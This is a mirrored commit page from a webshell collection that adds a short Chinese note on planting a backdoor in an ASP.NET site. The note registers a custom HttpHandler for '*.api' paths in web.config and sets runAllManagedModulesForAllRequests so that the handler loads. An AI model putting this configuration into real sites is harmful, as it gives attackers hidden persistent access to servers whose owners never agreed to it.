mirror of
https://github.com/tennc/webshell
synced 2024-11-12 22:47:15 +00:00
Create httpHandlers.md
This commit is contained in:
parent
bdd5fea432
commit
b44d134824
1 changed files with 14 additions and 0 deletions
14
aspx/httpHandlers_backdoor/httpHandlers.md
Normal file
14
aspx/httpHandlers_backdoor/httpHandlers.md
Normal file
|
@ -0,0 +1,14 @@
|
|||
修改web.config,添加或者修改httpHandlers:
|
||||
|
||||
<httpHandlers>
|
||||
<add path="*.api" verb="*" type="WooYun.CustomizeHttpHandler"/>
|
||||
</httpHandlers>
|
||||
|
||||
如果已经存在 httpHandlers 则在标签内添加,如果<system.webServer>也有配置httpHandlers那么就配置在<system.webServer>里
|
||||
|
||||
但是有一点需要特别注意:<system.webServer>里面一定要配置runAllManagedModulesForAllRequests为true,否会启动报错。
|
||||
|
||||
<system.webServer>
|
||||
<modules runAllManagedModulesForAllRequests="true" />
|
||||
</system.webServer>
|
||||
|
Loading…
Reference in a new issue